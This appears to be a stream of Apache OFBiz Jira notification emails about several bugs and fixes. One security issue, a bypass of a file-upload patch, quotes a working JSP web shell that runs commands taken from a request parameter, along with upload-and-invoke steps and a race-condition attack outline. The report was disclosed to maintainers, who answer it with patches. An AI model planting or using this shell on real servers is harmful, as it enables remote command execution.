This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451738#comment-17451738
]
Rohit Koushal commented on OFBIZ-12424:
---
Thanks [~jleroux] for checking it out
>From the logs, you shared it looks like Link Party feature itself is having
>another problem and trying to remove PartyRole without moving/removing
>PartyRelationship. I think we can observe the same behavior without my changes
>for the same user on trunk.
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Description:
In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
code that stops EECA rules globally in the system and as a result it caused
major issues in the process which are driven from EECA's.
*PartyServices.java*
{code:java}
public static Map linkParty(DispatchContext dctx, Map context) {
Delegator delegator = dctx.getDelegator();
Locale locale = (Locale) context.get("locale");
delegator.setEntityEcaHandler(null);
.
.
.
} {code}
In the above code you can see that we are updating EntityEcaHandler on
delegator object to null.
*GenericDelegator.java*
{code:java}
protected void evalRules(String event, String currentOperation, GenericEntity
value, boolean isError) throws GenericEntityException {
if (entityEcaHandler == null) {
return;
}
entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
isError);
} {code}
On any DB operation(find, create and store) using delegator above method run
and due to null EntityEcaHandler object it won't execute any EECA's globally in
the system
was:
In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
code that stops EECA rules globally in the system and as a result it caused
major issues in the process which are driven from EECA's.
*PartyServices.java*
{code:java}
public static Map linkParty(DispatchContext dctx, Map context) {
Delegator delegator = dctx.getDelegator();
Locale locale = (Locale) context.get("locale");
delegator.setEntityEcaHandler(null);
.
.
.
} {code}
In the above code you can see that we are updating EntityEcaHandler on
delegator object to null.
*GenericDelegator.java*
{code:java}
protected void evalRules(String event, String currentOperation, GenericEntity
value, boolean isError) throws GenericEntityException {
if (entityEcaHandler == null) {
return;
}
entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
isError);
} {code}
On any DB operation(find, create and store) using delegator above method run
and due to null EntityEcaHandler object it won't execute any EECA's
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451526#comment-17451526
]
Rohit Koushal commented on OFBIZ-12424:
---
Please refer changes on the pull request to fix the problem. ([GitHub pull
request #373|https://github.com/apache/ofbiz-framework/pull/373])
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Summary: Link Party feature stop the EECA rules globally (was: Link Party
feature stop the EECA rule globally)
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rule globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Description:
In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
code that stops EECA rules globally in the system and as a result it caused
major issues in the process which are driven from EECA's.
*PartyServices.java*
{code:java}
public static Map linkParty(DispatchContext dctx, Map context) {
Delegator delegator = dctx.getDelegator();
Locale locale = (Locale) context.get("locale");
delegator.setEntityEcaHandler(null);
.
.
.
} {code}
In the above code you can see that we are updating EntityEcaHandler on
delegator object to null.
*GenericDelegator.java*
{code:java}
protected void evalRules(String event, String currentOperation, GenericEntity
value, boolean isError) throws GenericEntityException {
if (entityEcaHandler == null) {
return;
}
entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
isError);
} {code}
On any DB operation(find, create and store) using delegator above method run
and due to null EntityEcaHandler object it won't execute any EECA's
was:
In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
code that stops EECA rules globally in the system and as a result it caused
major issues in the process which are driven from EECA's.
*PartyServices.java*
{code:java}
public static Map linkParty(DispatchContext dctx, Map context) {
Delegator delegator = dctx.getDelegator();
Locale locale = (Locale) context.get("locale");
delegator.setEntityEcaHandler(null);
.
.
.
} {code}
In the above code you can see that we are updating EntityEcaHandler on
delegator object to null.
*GenericDelegator.java*
{code:java}
protected void evalRules(String event, String currentOperation, GenericEntity
value, boolean isError) throws GenericEntityException {
if (entityEcaHandler == null) {
return;
}
entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
isError);
} {code}
On any DB operation(find, create and store) using delegator above method run
and due to null EntityEcaHandler object it won't execute any EECA's
> Link Party feature stop the EECA rule globally
> --
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Created] (OFBIZ-12424) Link Party feature stop the EECA rule globally
Rohit Koushal created OFBIZ-12424:
-
Summary: Link Party feature stop the EECA rule globally
Key: OFBIZ-12424
URL: https://issues.apache.org/jira/browse/OFBIZ-12424
Project: OFBiz
Issue Type: Bug
Affects Versions: Trunk, Release Branch 18.12, Release Branch 17.12
Reporter: Rohit Koushal
Assignee: Rohit Koushal
In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
code that stops EECA rules globally in the system and as a result it caused
major issues in the process which are driven from EECA's.
*PartyServices.java*
{code:java}
public static Map linkParty(DispatchContext dctx, Map context) {
Delegator delegator = dctx.getDelegator();
Locale locale = (Locale) context.get("locale");
delegator.setEntityEcaHandler(null);
.
.
.
} {code}
In the above code you can see that we are updating EntityEcaHandler on
delegator object to null.
*GenericDelegator.java*
{code:java}
protected void evalRules(String event, String currentOperation, GenericEntity
value, boolean isError) throws GenericEntityException {
if (entityEcaHandler == null) {
return;
}
entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
isError);
} {code}
On any DB operation(find, create and store) using delegator above method run
and due to null EntityEcaHandler object it won't execute any EECA's
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass
[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17447482#comment-17447482
]
Rohit Koushal commented on OFBIZ-12307:
---
Thanks [~pierresmits] , Here is the pull request
https://github.com/apache/ofbiz-framework/pull/352
> CVE-2021-37608 vulnerability bypass
> ---
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
>Affects Versions: 17.12.08
>Reporter: thiscodecc
>Assignee: Jacques Le Roux
>Priority: Major
> Labels: security
> Fix For: Release Branch 17.12, 18.12.01
>
> Attachments: OFBIZ-12307-addAdditionalViewForProduct.patch,
> image-2021-11-22-18-14-50-370.png
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass
[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17447424#comment-17447424
]
Rohit Koushal edited comment on OFBIZ-12307 at 11/22/21, 2:25 PM:
--
Hey [~jleroux] , I think we miss one place that requires similar changes for
service *addAdditionalViewForProduct* that we did in
[commit|https://github.com/apache/ofbiz-framework/commit/71dbb3c#diff-4dba13f9f119e22bd7bce9650670a2dc6628b22975c1da3972465cc958fad15d]{*}.{*}
I have checked and it is failing when uploading Additional images. Below is
the screen for your easy reference over the demo trunk instance.
!image-2021-11-22-18-14-50-370.png|width=469,height=250!
Attaching the patch which will resolve this issue.
[^OFBIZ-12307-addAdditionalViewForProduct.patch]
Thanks!!!
was (Author: rohit.koushal):
Hey [~jleroux] , I think we miss one place that requires similar changes under
service *addAdditionalViewForProduct* that we did in **
[commit|https://github.com/apache/ofbiz-framework/commit/71dbb3c#diff-4dba13f9f119e22bd7bce9650670a2dc6628b22975c1da3972465cc958fad15d]{*}.{*}
I have checked and it is failing when uploading Additional images. Below is
the screen for your easy reference over the demo trunk instance.
!image-2021-11-22-18-14-50-370.png|width=469,height=250!
Attaching the patch which will resolve this issue.
[^OFBIZ-12307-addAdditionalViewForProduct.patch]
Thanks!!!
> CVE-2021-37608 vulnerability bypass
> ---
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
>Affects Versions: 17.12.08
>Reporter: thiscodecc
>Assignee: Jacques Le Roux
>Priority: Major
> Labels: security
> Fix For: Release Branch 17.12, 18.12.01
>
> Attachments: OFBIZ-12307-addAdditionalViewForProduct.patch,
> image-2021-11-22-18-14-50-370.png
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Commented] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass
[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17447424#comment-17447424
]
Rohit Koushal commented on OFBIZ-12307:
---
Hey [~jleroux] , I think we miss one place that requires similar changes under
service *addAdditionalViewForProduct* that we did in **
[commit|https://github.com/apache/ofbiz-framework/commit/71dbb3c#diff-4dba13f9f119e22bd7bce9650670a2dc6628b22975c1da3972465cc958fad15d]{*}.{*}
I have checked and it is failing when uploading Additional images. Below is
the screen for your easy reference over the demo trunk instance.
!image-2021-11-22-18-14-50-370.png|width=469,height=250!
Attaching the patch which will resolve this issue.
[^OFBIZ-12307-addAdditionalViewForProduct.patch]
Thanks!!!
> CVE-2021-37608 vulnerability bypass
> ---
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
>Affects Versions: 17.12.08
>Reporter: thiscodecc
>Assignee: Jacques Le Roux
>Priority: Major
> Labels: security
> Fix For: Release Branch 17.12, 18.12.01
>
> Attachments: OFBIZ-12307-addAdditionalViewForProduct.patch,
> image-2021-11-22-18-14-50-370.png
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass
[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12307:
--
Attachment: OFBIZ-12307-addAdditionalViewForProduct.patch
> CVE-2021-37608 vulnerability bypass
> ---
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
>Affects Versions: 17.12.08
>Reporter: thiscodecc
>Assignee: Jacques Le Roux
>Priority: Major
> Labels: security
> Fix For: Release Branch 17.12, 18.12.01
>
> Attachments: OFBIZ-12307-addAdditionalViewForProduct.patch,
> image-2021-11-22-18-14-50-370.png
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12307) CVE-2021-37608 vulnerability bypass
[
https://issues.apache.org/jira/browse/OFBIZ-12307?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12307:
--
Attachment: image-2021-11-22-18-14-50-370.png
> CVE-2021-37608 vulnerability bypass
> ---
>
> Key: OFBIZ-12307
> URL: https://issues.apache.org/jira/browse/OFBIZ-12307
> Project: OFBiz
> Issue Type: Sub-task
>Affects Versions: 17.12.08
>Reporter: thiscodecc
>Assignee: Jacques Le Roux
>Priority: Major
> Labels: security
> Fix For: Release Branch 17.12, 18.12.01
>
> Attachments: image-2021-11-22-18-14-50-370.png
>
>
> The patch
> ([https://github.com/apache/ofbiz-framework/commit/8d49af4/#diff-75dac0d18a6bc59554dded12b9b01563651e05a2df6cede9d7d3e2b42b7fc382])
> for the CVE-2021-37608 vulnerability can be bypassed.
> Verification process:
> 1.Create a new xx.png.jsp file.
> The content of the xx.png.jsp file is:
> <%
> java.io.InputStream in =
> Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
> int a = -1;
> byte[] b = new byte[2048];
> out.print("");
> while((a=in.read(b))!=-1)
> { out.println(new String(b)); }
> out.print("");
> %>
> 2.Upload the xx.png.jsp file directly
> 3.Visit the jsp Trojan address
> "https://localhost:8443/images/products/management/WG-9943/xx.png.jsp?i=whoami";
>
> I carefully analyzed the code of this logic again and found multiple problems.
> the reasons for the vulnerabilities are:
> Here will upload the file first.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/applications/product/src/main/java/org/apache/ofbiz/product/imagemanagement/ImageManagementServices.java#L159-#L162]
> When verifying the file name, because the file name is "xx.png.jsp", so
> "wrongFile=true".
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L128]
> Because "wrongFile=true", isValidFile method will exit early.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L137]
> So that the malicious file is not deleted.
>
> [https://github.com/apache/ofbiz-framework/blob/trunk/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java#L215]
> The above is the reason for the vulnerability mentioned in my last email.
> I also found a new problem. The code logic used to verify the file upload is
> to upload the file first and then delete it after judging that it is
> malicious.This will create a race condition loophole.
> Use multiple threads to upload the xxx.jsp file, and then keep accessing the
> xxx.jsp file. Since ofbiz adopts the verification rule of uploading and then
> deleting, then xxx.jsp will be uploaded successfully, and ofbiz has not
> successfully deleted "xxx.jsp". The file, "xxx.jsp" file was requested by the
> attacker first. This will create an arbitrary file upload vulnerability.
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-11928) Explode items not handling tax and adjustments properly
[ https://issues.apache.org/jira/browse/OFBIZ-11928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182462#comment-17182462 ] Rohit Koushal edited comment on OFBIZ-11928 at 8/22/20, 5:45 PM: - [~ankush.upadhyay] - Your #1 solution sounds good to me. I was also thinking, does same is also happening for the promotion adjustment. I mean if that code block is clear cart's ship info, so promotion adjustment also mostly like to be removed with tax adjustments. isn't it ? was (Author: rohit.koushal): [~ankush.upadhyay] - Your #1 solution sounds good to me. I was also thinking, does same is also happening for the promotion adjustment. I mean if that code block is clear cart's ship info, so promotion adjustment also mostly like to be removed with tax adjustments. > Explode items not handling tax and adjustments properly > --- > > Key: OFBIZ-11928 > URL: https://issues.apache.org/jira/browse/OFBIZ-11928 > Project: OFBiz > Issue Type: Bug > Components: order >Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk >Reporter: Suraj Khurana >Assignee: Pradeep Choudhary >Priority: Major > Attachments: image-2020-08-22-14-54-06-042.png > > > Steps to re-generate: > 1) Create order with 4 qty of purple Gizmo and 3 qty of GZ-1000 - Tiny Gizmo > 2) Now change explode item to Y > 3) Again create same order with same products and same quantity > 4) Notice difference in item subtotal and grand total > I see two issues here: > - item subtotal is 191.93 and 191.94, this should be addressed 191.94 is > correct when explode is set to N (default order) > Code reference: It should be handled inside ShoppingCartItem.java#explodeItem > - Total sales tax is different in both orders: > 10.72 and -0.03 which can be checked if this is any configuration issue, or > taxes are not being handled while exploding items. > Demo orders on trunk (will not last for long): > explode: N > > [https://demo-trunk.ofbiz.apache.org/ordermgr/control/orderview?orderId=WSCO10001 > ]explode: Y > > [https://demo-trunk.ofbiz.apache.org/ordermgr/control/orderview?orderId=WSCO1] -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11928) Explode items not handling tax and adjustments properly
